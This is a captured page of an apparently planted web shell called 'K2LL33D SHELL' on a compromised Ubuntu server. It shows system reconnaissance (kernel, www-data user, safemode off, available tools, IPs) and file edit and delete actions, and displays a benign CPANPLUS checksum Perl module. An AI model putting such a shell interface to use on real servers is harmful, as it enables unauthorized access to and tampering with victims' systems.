K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / perl / 5.18.2 / CPANPLUS / Module /
server ip : 104.21.89.46

your ip : 172.70.80.30

H O M E


Filename/usr/share/perl/5.18.2/CPANPLUS/Module/Checksums.pm
Size6.9 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 10:10
Last modified21-Nov-2018 01:11
Last accessed06-Jul-2025 18:46
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
package CPANPLUS::Module::Checksums;
use deprecate;

use strict;
use vars qw[@ISA $VERSION];

use CPANPLUS::Error;
use CPANPLUS::Internals::Constants;

use FileHandle;

use Locale::Maketext::Simple Class => 'CPANPLUS', Style => 'gettext';
use Params::Check qw[check];
use Module::Load::Conditional qw[can_load];

$Params::Check::VERBOSE = 1;

@ISA = qw[ CPANPLUS::Module::Signature ];
$VERSION = "0.9135";

=head1 NAME

CPANPLUS::Module::Checksums - checking the checksum of a distribution

=head1 SYNOPSIS

$file = $modobj->checksums;
$bool = $mobobj->_validate_checksum;

=head1 DESCRIPTION

This is a class that provides functions for checking the checksum
of a distribution. Should not be loaded directly, but used via the
interface provided via C<CPANPLUS::Module>.

=head1 METHODS

=head2 $mod->checksums

Fetches the checksums file for this module object.
For the options it can take, see C<CPANPLUS::Module::fetch()>.

Returns the location of the checksums file on success and false
on error.

The location of the checksums file is also stored as

$mod->status->checksums

=cut

sub checksums {
my $mod = shift or return;

my $file = $mod->_get_checksums_file( @_ );

return $mod->status->checksums( $file ) if $file;

return;
}

### checks if the package checksum matches the one
### from the checksums file
sub _validate_checksum {
my $self = shift; #must be isa CPANPLUS::Module
my $conf = $self->parent->configure_object;
my %hash = @_;

my $verbose;
my $tmpl = {
verbose => { default => $conf->get_conf('verbose'),
store => \$verbose },
};

check( $tmpl, \%hash ) or return;

### if we can't check it, we must assume it's ok ###
return $self->status->checksum_ok(1)
unless can_load( modules => { 'Digest::SHA' => '0.0' } );
#class CPANPLUS::Module::Status is runtime-generated

my $file = $self->_get_checksums_file( verbose => $verbose ) or (
error(loc(q[Could not fetch '%1' file], CHECKSUMS)), return );

$self->_check_signature_for_checksum_file( file => $file ) or (
error(loc(q[Could not verify '%1' file], CHECKSUMS)), return );
#for whole CHECKSUMS file

my $href = $self->_parse_checksums_file( file => $file ) or (
error(loc(q[Could not parse '%1' file], CHECKSUMS)), return );

my $size = $href->{ $self->package }->{'size'};

### the checksums file tells us the size of the archive
### but the downloaded file is of different size
if( defined $size ) {
if( not (-s $self->status->fetch == $size) ) {
error(loc( "Archive size does not match for '%1': " .
"size is '%2' but should be '%3'",
$self->package, -s $self->status->fetch, $size));
return $self->status->checksum_ok(0);
}
} else {
msg(loc("Archive size is not known for '%1'",$self->package),$verbose);
}

my $sha = $href->{ $self->package }->{'sha256'};

unless( defined $sha ) {
msg(loc("No 'sha256' checksum known for '%1'",$self->package),$verbose);

return $self->status->checksum_ok(1);
}

$self->status->checksum_value($sha);


my $fh = FileHandle->new( $self->status->fetch ) or return;
binmode $fh;

my $ctx = Digest::SHA->new(256);
$ctx->addfile( $fh );

my $hexdigest = $ctx->hexdigest;
my $flag = $hexdigest eq $sha;
$flag
? msg(loc("Checksum matches for '%1'", $self->package),$verbose)
: error(loc("Checksum does not match for '%1': " .
"SHA256 is '%2' but should be '%3'",
$self->package, $hexdigest, $sha),$verbose);


return $self->status->checksum_ok(1) if $flag;
return $self->status->checksum_ok(0);
}


### fetches the module objects checksum file ###
sub _get_checksums_file {
my $self = shift;
my %hash = @_;

my $clone = $self->clone;
$clone->package( CHECKSUMS );

# If the user specified a fetchdir, then every CHECKSUMS file will always
# be stored there, not in an author-specific subdir. Thus, in this case,
# we need to always re-fetch the CHECKSUMS file and hence need to set the
# TTL to something small.
my $have_fetchdir =
$self->parent->configure_object->get_conf('fetchdir') ne '';
my $ttl = $have_fetchdir ? 0.001 : 3600;
my $file = $clone->fetch( ttl => $ttl, %hash ) or return;

return $file;
}

sub _parse_checksums_file {
my $self = shift;
my %hash = @_;

my $file;
my $tmpl = {
file => { required => 1, allow => FILE_READABLE, store => \$file },
};
my $args = check( $tmpl, \%hash );

my $fh = OPEN_FILE->( $file ) or return;

### loop over the header, there might be a pgp signature ###
my $signed;
while (local $_ = <$fh>) {
last if /^\$cksum = \{\s*$/; # skip till this line
my $header = PGP_HEADER; # but be tolerant of whitespace
$signed = 1 if /^${header}\s*$/;# due to crossplatform linebreaks
}

### read the filehandle, parse it rather than eval it, even though it
### *should* be valid perl code
my $dist;
my $cksum = {};
while (local $_ = <$fh>) {

if (/^\s*'([^']+)' => \{\s*$/) {
$dist = $1;

} elsif (/^\s*'([^']+)' => '?([^'\n]+)'?,?\s*$/ and defined $dist) {
$cksum->{$dist}{$1} = $2;

} elsif (/^\s*}[,;]?\s*$/) {
undef $dist;

} elsif (/^__END__\s*$/) {
last;

} else {
error( loc("Malformed %1 line: %2", CHECKSUMS, $_) );
}
}

return $cksum;
}

sub _check_signature_for_checksum_file {
my $self = shift;

my $conf = $self->parent->configure_object;
my %hash = @_;

### you don't want to check signatures,
### so let's just return true;
return 1 unless $conf->get_conf('signature');

my($force,$file,$verbose);
my $tmpl = {
file => { required => 1, allow => FILE_READABLE, store => \$file },
force => { default => $conf->get_conf('force'), store => \$force },
verbose => { default => $conf->get_conf('verbose'), store => \$verbose },
};

my $args = check( $tmpl, \%hash ) or return;

my $fh = OPEN_FILE->($file) or return;

my $signed;
while (local $_ = <$fh>) {
my $header = PGP_HEADER;
$signed = 1 if /^$header$/;
}

if ( !$signed ) {
msg(loc("No signature found in %1 file '%2'",
CHECKSUMS, $file), $verbose);

return 1 unless $force;

error( loc( "%1 file '%2' is not signed -- aborting",
CHECKSUMS, $file ) );
return;

}

if( can_load( modules => { 'Module::Signature' => '0.06' } ) ) {
# local $Module::Signature::SIGNATURE = $file;
# ... check signatures ...
}

return 1;
}



# Local variables:
# c-indentation-style: bsd
# c-basic-offset: 4
# indent-tabs-mode: nil
# End:
# vim: expandtab shiftwidth=4:

1;